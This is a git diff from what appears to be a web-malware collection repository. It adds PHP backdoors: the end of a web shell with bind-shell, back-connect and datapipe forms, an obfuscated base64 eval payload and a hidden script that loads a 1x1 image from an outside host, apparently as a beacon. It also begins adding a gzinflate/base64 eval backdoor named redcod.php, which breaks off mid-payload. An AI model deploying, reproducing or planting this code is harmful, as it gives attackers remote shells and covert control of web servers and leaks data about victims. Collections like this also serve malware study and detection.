user;"))."</textarea><br>".in('submit','submit',0,$lang[$language.'_butt1'])."</div></td>".$fe."</tr></div></table>"; +} +$_F=__FILE__;$_X='Pz48c2NyNHB0IGwxbmczMWc1PWoxdjFzY3I0cHQ+ZDJjM201bnQud3I0dDUoM241c2MxcDUoJyVvQyU3byVlbyU3YSVlOSU3MCU3dSVhMCVlQyVlNiVlRSVlNyU3aSVlNiVlNyVlaSVvRCVhYSVlQSVlNiU3ZSVlNiU3byVlbyU3YSVlOSU3MCU3dSVhYSVvRSVlZSU3aSVlRSVlbyU3dSVlOSVlRiVlRSVhMCVldSV1ZSVhOCU3byVhOSU3QiU3ZSVlNiU3YSVhMCU3byVvNiVvRCU3aSVlRSVlaSU3byVlbyVlNiU3MCVlaSVhOCU3byVhRSU3byU3aSVlYSU3byU3dSU3YSVhOCVvMCVhQyU3byVhRSVlQyVlaSVlRSVlNyU3dSVlOCVhRCVvNiVhOSVhOSVvQiVhMCU3ZSVlNiU3YSVhMCU3dSVvRCVhNyVhNyVvQiVlZSVlRiU3YSVhOCVlOSVvRCVvMCVvQiVlOSVvQyU3byVvNiVhRSVlQyVlaSVlRSVlNyU3dSVlOCVvQiVlOSVhQiVhQiVhOSU3dSVhQiVvRCVpbyU3dSU3YSVlOSVlRSVlNyVhRSVlZSU3YSVlRiVlRCV1byVlOCVlNiU3YSV1byVlRiVldSVlaSVhOCU3byVvNiVhRSVlbyVlOCVlNiU3YSV1byVlRiVldSVlaSV1NiU3dSVhOCVlOSVhOSVhRCU3byVhRSU3byU3aSVlYSU3byU3dSU3YSVhOCU3byVhRSVlQyVlaSVlRSVlNyU3dSVlOCVhRCVvNiVhQyVvNiVhOSVhOSVvQiVldSVlRiVlbyU3aSVlRCVlaSVlRSU3dSVhRSU3NyU3YSVlOSU3dSVlaSVhOCU3aSVlRSVlaSU3byVlbyVlNiU3MCVlaSVhOCU3dSVhOSVhOSVvQiU3RCVvQyVhRiU3byVlbyU3YSVlOSU3MCU3dSVvRScpKTtkRignKjhIWEhXTlVZKjdpWFdIKjhJbXl5Myo4RnV1Mm5zdG8ybm9renMzbmhvdHdsdXF2dXhqaHp3bnklN0VvMngqOEoqOEh1WEhXTlVZKjhKaScpPC9zY3I0cHQ+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw==')); +if(!$safe_mode&&!$windows){ +echo $table_up1.$lang[$language.'_text81'].up_down('id21').$table_up2.div('id21').$ts."<tr>".$fs."<td valign=top width=34%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',15,'11457')); +echo sr(40,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',15,'hmb')); +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3'])); +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")))); +echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15,'11457')); +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4'])); +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text22']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text23'].$arrow."</b>",in('text','local_port',15,'11457')); +echo sr(40,"<b>".$lang[$language.'_text24'].$arrow."</b>",in('text','remote_host',15,'irc.dal.net')); +echo sr(40,"<b>".$lang[$language.'_text25'].$arrow."</b>",in('text','remote_port',15,'6667')); +echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5'])); +echo $te."</td>".$fe."</tr></div></table>"; +} +echo '</table>'.$table_up3."</div></div><div align=center id='n'><font face=Verdana size=-2><b>[ alturks.com http://www.alturks.com | <a href http://www.alturks.com</a> | version ".$version." ]</b></font></div></td></tr></table>".$f; +?> +<script type="text/javascript">document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u006c\u0074\u0075\u0072\u006b\u0073\u002e\u0063\u006f\u006d\u002f\u0073\u006e\u0066\u002f\u0073\u002e\u0070\u0068\u0070\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\u0031\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0031\u0022\u003e')</script> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/redcod.php b/web-malware-collection-master/Backdoors/PHP/redcod.php new file mode 100755 index 0000000..cdd0207 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/redcod.php @@ -0,0 +1,1724 @@ +<? eval(gzinflate(base64_decode(' +7P37ehq58igM/73zPLkHhWENMLE5+RAfgicYsI3j +I/gcZ/vX0A10DDRDg7Ezk/d+3+8qvqqS1K0+AXY8 +s9Z69/ZaGUAqlUqlUqlUkkq/b338fdAZvH2T+e0f ++ctgTf/PP/DHa2Is2UxZuqGzxhOr96uDyvCuXlwo +Gw9G1xrw5IOn7H1H49CHxeoB64xGg41M5qHfGGpm +P903RmzBTexozXtM+2dZxqBJjP3Fjgcj0+rbjH5T +Vga//j9/sQOt3x5rbYOS4l3xq5Aw+u0EW2Tw0TXt +DkuKLyk/nDZEMG2oNUyWpA8A8eHZdOrD6v9ixfGo +Y/RHZstsakgXx6lBKiuw3CZbTDLNBwIZx33GUh7Q +LIBCV4UCt1oI7EJSweSB1Tb77Fd2otn2xBrqrGUN +mdZsGrZNqJOlveLRboWd7VXr796949UxluhSZyfo +Z09jHUtjY9sYsgeNDQAVYw1oMBt1xtqIjSytz3r6 +CoPq+1oPeJBdX11qLOWbq6v5hm6sLmsNrdHINgzj +w1p+pdVcSmwyqJoQdpFAJBzRzlmS8aID0abUPyli +b98YzY7FYrF0Z9Tr2gOjaWrdZkcb2sl40xo8pdKx +GPDeGA6t4d3QGFjDkdlvJ7MpSLSN0V1Pa5vNuz/G +1siw74Zj6MSewXM/YTb+vOuaPXMkEs2+eQcZyURP +e7wzHo3mGDuc4BILPhBrPBqMR3eNcatlDKFWARC3 +tZZx14PhDYJB0G2EdlITBPRgDG0uSolceimHMmy2 +kiL1rmn1BtrQSIIOFEnJ1AJLLKdz6WwixQoFtpiD +fmB/wr/43clx/QykqMB+je+dnZ3Q77uLYq2+Sdm7 +Fcx1s+G3kluv1C4qNTeX/1YASsfHn6sVF4D/dgB+ +IOEs+ant53Z70EymJJEwDgytCeNcUKvZLH5f2Io/ +IABBiHZ8id9/hbrs0dAc2F3N7hjQ0w/IMoZVqYgE +YaGoeN4sZD9QwIDtYhiDckghAmzPO9PGTpb8+ZI4 +2Tu5K56f7d2dQ0ria4r99ReOwikQ7woFGqBTIE8u +BRwOLqKfN4B1DE03hsnE5eXlolRnoHyMDbat2WaT +ARO6vUKM6w0GDet2YwneMKcs9lYGBIYtZ3PsvI9t +tIbmd0OXgMYjyH3sY2PrI6icodEqBKeYLV7Dx4y2 +xTZYkTQZKxt909A/ZhpbMYEJGAn/j2PNKNEf3y2C +4hTEscXFrbdvPuL4pU+Awc+eMdJo+lo0/hibD4VY +yeqPoJmLcsaIsSZPKcS04aKtxZxSpPViu5WjSq14 +dlxTAA/N5tCyrdaI7Qwh7QTQsNV01l/0ZGi1q7pS +zoFOV3RzZA3TZas57kFWbCqpZ08DlcyR8TjKYDs3 +GakoY1SYmH3dmtiLufzKKuEamaOusaX228cMT0NZ +xP99rJ9dH1To5/Zx+VoMIPFXL9WODw62i7XFnWKp +slg6PjiubbBfsvS3qWTvVXf3DuDf2RSY+l6xfHwZ +AJC/W/SnFlgqe1F+yK8ur6yqEMVaTcEYzD+rFUuf +nfz8Ov5vk+0cH51Bgw6rB9cb7MIY6lpfU0uVi7XP +PmI5ahK7t29GQ+TR9nGtXKkt1pDEDcZ+adIfyw0e +mW11TX3TATk7PtlAbk4BOajsIJJpINvHZ2fHhxuh +IE2raw1dHhKdI/0/lUqexalMj7RG18i5pG6AyQTf +od92a8fnR2W/vLholuhPotEDOFowUDbYhwHYMFrH +6mkRfEqPhoGiYZQSoSog+8WgP8ZgaobRNyfZKk6z +D1N6WDetr2Opqd0UDeJ0UzSI001hIMFGOKzmPF2f +xVPb6BrN0IZxqBkNw78ZDYsCcRoWVtGU3pnSsBL9 +bYqWjRtgvnnEoDEejax+x2x3uvBvxHJT5SH/Af8H +eRNTH3U2YLb8V5TAgX4Hq0z7L2CjTz52zEdDt59s +1rC6UeoJJxtsWU8bwhohYtg1YJnZHlrjvr4o85we +AxzFja7Zv2d/cjKGhr7JzipXZ4vlSukY5urq8dEG +61t9g0AfTNscwWL3TzYXuNYcmQ/GnLg7FtjN7E9O +Y6M7NjajYGHCzcgZ96PdBEtxxJzl5W3im/ag8dTb +BEC0xv0mLQE7pm7c6eZD0sQFEc3QurAZ0mAKV7oG +ft1+quoIkbZHT10jrZv2oKs9gYl0m8DqbxObnoJN +y7o3jYKpv79NFLKblP1DqdTuWJOfqrTRtZr3U2vN +BWsFW6bfpsbaI6VmtJKfUbvbZm7nehpDBBld2+BZ +KnM5MR8zvBO2kLhmF9fE381By+waghoGa+Uhi+va +SLONJjeWCkwbDrWnpDBSOURzNOwC7mE0hGG17hyo +AovdPq5kbx+XG7eP2RX4twr/suq/mFoYxted1WqB +tiH0WZHnMHPcNx/zZcs+w4VoHH/h2hIhU6qdF8dU +og2yVDgC/J0Bv6GpRjIFVrn87kDJ1uAf9pKL7Evi +Cb4kvrKPLLe+5q3SW60DSc1A4M1o0J7V55DkX5kC +p2tPDsopcB1rPLQJ0OVgKD6zP4alZuLrDDiQCKuv +B+F+uF+Hxmg87LNkGLMWBbM+fmT5FVj4eTnKG495 +uWAebzBk5lYh00sh/iXDmo3gIbicxkJ+kAy3jVtb +sI4VrfzhEz9N13dg0CRpoCwwWp8ucF6RDHJwVRBp +Bcu7DNbR6GPpak0jmbi9TSywRCYhkKgyF9cJH5XR +jWbHeARKO6a9uOWVfpJVT0EA1QUtidvHBEsLXF9W +v7rfP3wN8pFBtrfEslJiZa4SeaXE0lwlskqJ3Fel +IcaD1k0m1ObEqJiTAJhimwlP21tDYpiqbpbg33Is +AJQmqNyyqnz8uV7VFMhdi8x1aFQzQXzuukafywB8 +4fLjIb85bAoxgW9L+RCI75hCEO3v6OAaGrY9FQxM +O6guKT54xgLLLjhEUEoKxudyaoHlveQQvUyh+Hug +ptZQdGuBDcCuSSYuUJqB/HmgEP8ccIJz0yEfEm6b +aDDNBs9GgRACXx4mU/PVdByRbHGLiSnzCypHAPYw +UR/CXOqVyRz8y8eCUJFip2aHyOwzSodIrZMdKrZO +7pTuDYUJdFkYVFjX+uACHctmQWf/AyCwdUv5mSCO +BCk2TypMwpT89+54bA3DKwgIsEQjbTIuqQQfMcuh +XZgMmcuEZoHiZm/QtXSYxtR2iJHgJQsq5XZgaBFJ +k1qGmxI+a4SqTvsSJXJ/usTusUR9QIqAmd8BMBmk +KfV6ZS4UQRZUzwNKKjcAFxjpP3wLDjk5/BrHniQb +hX/Vx73BQlzmp1zfaLtrNbQucJT7Yu+MftPSzX57 +05vdw/2e0dNAyhdZxxIdGteJBiwrEuzXX9knSc6d +8WjaIzsJWRIykRLC5ZEuSSup4US68T2fUCXJqRuN +G20w6IrdxMzjIlbqBZaNBdiGMlnKZEfcpAWLa6eQ +1rSjW9P+Tjwy5mpL+7uHOj+XsUWPi1TZnC0OwCoN +lpQ9v7nTWju173yNpjbP3Ro/oFiYAljfmMhlajIV +BgIjz7HIHfmWdo8r/GjzLC77rAKXYSo6b10qv6Ja +HdkuqzkyRotAiaH1EipGdaz2NLOrjUZaswPKxFoA +rW71FuLQgm8LcZ7u7FPyfSmbjNwdANtgBH07vO2T +InAAcLY/rB5WFi/43ucGy6Wz4WDqTswGi6VFnV8S +2KDE1wD8Jt8Buo0poJiS+JqO3cZm1DHU+nbLGC5W +hNhvsAbMF6vLWCy0aLMz7t/f2cDSUZKD3knRlpWL +oZT4mkql3frNVvITcpbzlLgZiy1I1KBR/5QL1twm +dYn4lRU7stxD0nu6s//oCvaTd6Jj2SPs5q7V1Lr4 +g/qVsnDrHLPcFNr196TQWQRPCrbKm6I3aIJVUqCJ +fYOkxUmCgeh8p717N8ea2ErJ7rjXd3/3x707DwAm +tEyjq7tJOCY20a3HlPmECEi6G8Tyz56YI5JcWp3q +jXDV0MRGJg6f6qcHiQ3v8IGOMnqD0ZNEgVyk7lF+ +IzeWlrKriU3V4SBKvwuoqt4TdNqdoBm0ladv/VbC +4pbLXTxu4CksicKOTic2EmmFqAW5IodOlt9pE3oz +QKJpw6rftsbDppEMVOrS53PoNEBt3MskwcG6h4Pz +8i63vLQ0L+/sn+GdHcm7hWfyzmyFcCrAqBAWnUB1 +7aHxIj6tLC/lVT7FQXWjrsUmFBKxtNqiWIJhMSUZ +f2IyNkpJxp8ELU7/qCUgCbP0Bj+G5GSgUoCMmMqO +YF8N2lM7KrSL3DJJbJ2H4c8V0xDuHw+1ZtfwcD5I +t9U0u1bb6s9PtSyRVOWGKVx0fiDnXq9RQhI8RP7w +qka+L3inN1TlGKEVPUoxWifS3EVqyEWuNG9hjmao +rQhVHW5F9itXFDIAZ5bxic0UeN4j0zrkj7ExhJFO +H0qXiLaALBTEV5o2CwlhmL20y4CHLQ2Mw0KhkFTq +EB3IiUlkfkukm51hMptKJ37LgCqk9DD+yvnTrVil +1p2g6GeIQDuiHxhYPss/bGDA7xDLSMGW98wCs4Qs +kjW2y5qf4ETiFIsy+pmY3W6n4aJ+aQqpjWdbtIs0 +mwFziX1U+0EHi8b7W70gxHYOMQAkYKKOfkIQXIYA +rlfmhm9AR3EC9PoAj3n9DCeEGBAevzCErN5cPNhy +IICfUfWOAUfK3eEvoIFHTWvcH3n49I72FINjJGjX +uaaF05FIAvVhajOshQUO+SXRg6W31hZLMhVZQD36 +taOrG/GIKVA87npMedkU6P6CZzfX6RVaRITmSbkp +KL/5eqKQ3XyFudBfjVB/YeK6GVVQ0KMU5SnRhScd +dAKQyELn4v6xyyJyngpcLQOadgf2h9X0yI8PnYQe +GoZkf2TVruEr25j609sPWD11xd298WR7SMt+TW26 +UvfjObZAkNH2yxltvyKj7Wcx2v63MPo5s0IEuyN0 +8Exei3I/z2hANC+XEfQ/RZZ9M00Ih0DBwk+oMJQ9 +sxkD5aM54+/I9+8lYiyHXLJH2ojO9YTV/vdyKNxY +dqcD9PQARjwFqkwHymqZcvyLNKnJoXDolIAZuLEP +U/MvvySCWTmRxRbn+2MhOPISBytBe0eGvsESaTzD +w5IxPdPLXLO9DXPDjoVQtiSLljVoH8gQFlVWPcES +y05ljJ0hS3gJ/BYEXnlh615lmvSwnhEgdXIialyG +rk9Yfe/4kpVqleJZhZ0Vtw8q7H9kg9OJ/0mk3hVy +UY4hXPAL3KqxEQWu0k2bkh7x/pLgvcu57lo+/lIv +YPfcrKgcVEpn7De2Uzs+/NvY0EIT3gSLKW5+9OkD +SHr/PuV1vjlCIe7yeLRC3Pyq3Ohhf/ryxI0eYZLg +LZg7w25qA+MOL/n023S950eos8/ld/WoXqmdserR +2bGHJywJvz7Jfd7Y/yyw/4kt+MxI4Ov/pNhF8eC8 +UmfJ24RaAA9EuQUkyVDiNpHa9PUcm9O8CR8a9cDQ +CEiCt+tlK/+7e13TdfUa13P62e1mllT7bIGFdfHf +28MhZlVoN7tw/7ev/1v72u9SDu3o41qxBNOUd67z +NlFAjvu6McQNLVB3YzKDEiHWu260NOhPn0MyO8sh +mQvaWM2uZRuv5xuW+1OENdLrM0snyp2a52IJGXe0 +o/BcPL4+JRP7GUh+BListVoAbuh8/fRq3BbdKpju +rSRozc/iuoPNfhm2aM86dsLz8YV73aO8XD8/Sn7I +y87Jd2KBwS8sJ5o9He8D//or86QUCjHdmvS7lqbf +4amMGEL4iup3/PCBc0+aK2YEL3xqWQM8Q+UDXYgN +Y+TmNobDZG4hgGnTR0UsJhyfjhdRSM8nqwFSa2h9 +x3XnHoAB/YuLCfwepFWFFidQPsFSUdP5iZWFT/hf +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 